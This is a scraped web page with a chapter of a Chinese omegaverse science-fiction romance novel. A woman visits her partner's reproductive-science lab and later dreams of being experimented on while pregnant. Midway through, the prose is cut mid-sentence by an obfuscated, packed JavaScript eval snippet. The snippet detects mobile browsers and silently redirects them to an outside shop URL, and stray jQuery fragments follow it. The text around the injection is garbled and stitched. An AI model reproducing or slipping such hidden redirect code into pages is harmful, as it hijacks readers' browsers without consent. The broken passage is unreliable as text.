74. 噩梦?
作品:《beta拒绝变成O》 临近银冕城的下班时间,天际的人造日光系统开始模拟出柔和的茜色。建筑物的阴影被拉长,与街道上渐次亮起的导航光带交织在一起。姜原站在交通枢纽的转换平台上,手里提着药盒,看着空中车流开始显现出不同于日间的、更为密集而有序的归家轨迹。
这是她自来到天谕后,第一次走出家门。
白天,她先是独自去了趟医院,咨询了一些有关腺体损伤后该如何保养的问题,然后见时间临近下班,便想着找到了内政司的大楼,同他一起回家。
手中装药的袋子被她揉弄地又温又热,她只是顺路从医院来到了这里,不知道自己为什么要如此紧张。
她站在接待大厅中,看着下班的人流鱼贯而出,走进通往不同居住区的传送车里,心里有些犹豫,不知道要不要给程少简发个消息。
可是,万一他已经上了车,正在回家的路上呢?
万一他今天要加班,不能正常回家呢?
她只是顺路来了,也不想给他压力。
就在这犹豫间,身旁传来一声温柔的问询,“女士,请问您是遇到困难了吗?“
她应声回头,见是一个高大的金发女人正在冲她微笑。
她不确定,这是不是就是过去只在传说中听到过的女性alpha,一时间有些无措。她下意识后退了一小步,眼神轻轻瞥了下她的领撑。
纯白色的领撑,没看出同她这个有什么区别,大概这东西并不能在外观上区分性别吧。
“额……我,我想去育生总署,但是……“
“育生总署在23层,您跟我来。”女人说着便向前走去。
“不,不用了……”姜原拉住她,“我自己找就可以了,不劳烦您了。”
“没有关系。”女人回头冲她笑,“我的工作就是内政司的导引员,为来访者做导引是我的职责,更何况是可爱的omega。”
活了二十多年,姜原头一次知道,自己还能享受到性别福利。
不过,她是怎么知道自己是omega的?
顾不上思考太多,姜原连忙跟了上去,被一路带到了育生总署的楼层。
“这里便是育生总署,这边是办公区,那边是实验区,通常该署的官员更多是在实验区带着的,尤其是现在这种已经下班了的时刻,没能下班应该是因为实验没有做完。”
“好的好的,多谢您。”姜原向女人礼貌地鞠躬,却被对方慌乱地抬手制止了。
“使不得使不得!”女人捂着眼睛连退三步,“在咱们天谕可不能乱行这种礼啊,这种动作是只有恋人间才会做的,地方我已经带到了,没别的事我就先回去了。”
说完,女人便逃也似的走了。
姜原尬在原地片刻,想了想后,猜到这动作禁忌大概还是和后颈的暴露有关。
她料到了不同星球间文化会有不同,却还是被这“区区一个小鞠躬”而闹得心情烦乱。
简单整理了下心情,她便以此顺着走廊,透过房间门上的玻璃,挨个房间找了过去,果然看到程少简正在和另一个人一同做实验。
二人皆是白大褂+护目镜+皮手套的全副武装。案台上隐约可见成堆的仪器,以及若干被包裹在透明培养罐中的……蠕动的肉块?
一股莫名的寒意顺着她的脊椎爬升。
那培养罐的形状,总让她感觉又恶心又熟悉。
移开视线,叹了口气,靠着墙滑坐到了墙根。
她的身子很重,走的久了总会感觉疲惫。
实验室里有很多座位,可她不知道为什么,却有些不敢进去。
也不知道该怎么跟他解释自己找来了的行为。
趁着走廊没人,她偷偷伸出一根手指勾进领撑中,挠了挠自己的脖子。
也不知道是不是源于内心对领撑的排斥,自从她出门后,便一直觉得脖子后面痒痒的,总想要去挠。
可现在挠了两下,又感觉有点疼了。
真想把它摘下来,但是不可以。
屋内传来程少简和别人断断续续的对话。
“老师,为什么这次新的实验要用兔子来做呢?我们以前不是都用狐狗、草原鼬这种天生就没有第二性别的动物来进行实验的吗?“
“这不是一般的兔子,”程少简的声音清冷地响起,“这是我从莹辉带回来的。”
“莹辉的兔子?!”那学生惊呼一声,“所以……”
“所以它们也没有第二性别,我想看看它们处在天然的高信息素的地方,会不会分化出第二性别来。”
“啊?!所以昨天那只刚刚进入情热期的兔子,也是莹辉的吗?”
“是的,显然,它们分化的速度远远超过我的预期。”
听到这里,姜原坐不住了,就连后颈那时不时的瘙痒都仿佛染上了不祥的征兆。
她站起身,向实验室里面看去,只见一只小小的白兔正趴在程少简的手心。它不停地用脑袋和侧颊磨蹭着他的手,粉红的鼻翼急促翕动着,整个尾巴都打湿了。
而那名学生,正在用机器探头扫描着兔子的身体。
“啊,我看到了,这里新生的腺体!”
“咚!”伴随着他的惊呼,姜原也不小心将头撞到了门玻璃上。
“小原?”程少简看到她,连忙走了出来,“你怎么来这了?”
姜原有些尴尬地揉了揉头,“刚好顺路到这了,又正好是下班时间,就想着要不要一起回去……你要是忙的话,我就自己先走了。”
说完,她转身便欲离开,却被他拉住了手。
“我哪里能让你就这样自己走呢?”他无奈地摇摇头,“我们这就回去,你先进来坐着,等我收拾一下。”
姜原于是拍了拍屁股上的灰,跟他进了实验室。实验室里另一个人见到她,立刻问了声“师娘好”,然后满脸责备地冲着程少简道,“师傅,师娘都怀孕了,你怎么还能加班呢?”
这一刻,姜原确实切身体会到了alpha的蠢萌,也进一步了解到了天谕有多么地重视繁育大事。
这种话,若是在尊师重道,长幼有序的莹辉,可是没有哪个学生敢跟师长说的。
程少简没有生气,但是也是有些尴尬。
因为他今天本不需要加班的,只是由于昨夜的事,让他没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039947|189957||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脸回家罢了。
他没有料到她会来找他。
她手里提着的像是药盒子,莫不是身体哪里又不舒服了吧?
不管怎么说,她愿意主动来找他,这总归是好事。
走出大楼后,他连忙问她,“你今天怎么出门了,手里拿着什么?别是哪里不舒服吧?”
“这个……”姜原提起手中的药盒,“我,我今天去医院……帮你问了一下,嗯,你身体的情况,这个是医生开的,说能帮你调节信息素的药。”
她的声音越来越低。
他的心也渐渐沉到谷底。
他假装不在意地接过药盒,勉强挤出一丝笑意,“对不起……我以后会注意的。”
她有些错愕地抬起头,想要向他解释,自己并没有嫌弃他的意思,可是话到了嘴边却又说不出来了。
要怎么说呢?
“这种情况下,吃什么药都只是治标不治本,你作为omega,多和他进行有氧运动,定期标记,让他释放出来,是最好的办法。”
医生的话言犹在耳,似乎已经给她判了死刑。
她没有信息素,更无法被他标记。
最关键的是,她并不没有打算修改自己的性别。
那还说什么呢?
最终,她什么也没有说。
当天夜里,姜原便做了一个噩梦。
梦中,自己躺在一张冰冷的的实验台上,四肢被柔软却无法挣脱的束缚带固定着。隆起的腹部裸露在外,皮肤上被画满了各种奇怪的标记线和电极片。
程少简就站在她身边,穿着一尘不染的白大褂,眼神不再是平日的阴郁或笨拙,而是一种纯粹的、令人胆寒的探究与痴迷。他的手指戴着薄薄的橡胶手套,先是将电极贴在了她的颈侧,而后指尖掠过她因恐惧而不停起伏的胸口,来回测量、记录,最后落在了她紧绷如鼓的肚皮上游走,按压。
冰凉、尖锐、带着让人酥麻的电流……
她分不清是这些是来自手术刀、电极、亦或是他冷酷的指尖。
“放松,小原……”他的声音低沉而沙哑,带着一种令她毛骨悚然的温柔,“只是一个小小的观察……让我看看我们的‘作品’发育得怎么样了……”
她想挣扎,却发不出任何声音,身体像被梦魇死死压住。然后,一根细小的金属探针,正极其缓慢地,探入她的身体内部,指向她孕育着生命的最私密、最柔软的地方。
“不……不要……”她在梦中无声地呐喊,泪水从眼角滑落。
他俯下身,嘴唇贴着她的耳朵,灼热呼气喷在她的脸颊上,“别怕……很快就好……你和TA……都会变得很完美……这是最伟大的进化……”
就在这时,腹中的胎儿突然剧烈地躁动起来。她仿佛看到腹中那个小小身影,正惊恐地蜷缩、躲避着那根尖刺……
“啊——!”
她猛地从噩梦中惊醒,却发现浑身灼热,意识浮沉,好似人在沙漠。
手臂下意识向床头摸去,却不小心碰翻了放在床头柜的水杯。
伴随着巨大的碎裂声,她看到一个模糊的人影自门口快速奔来。

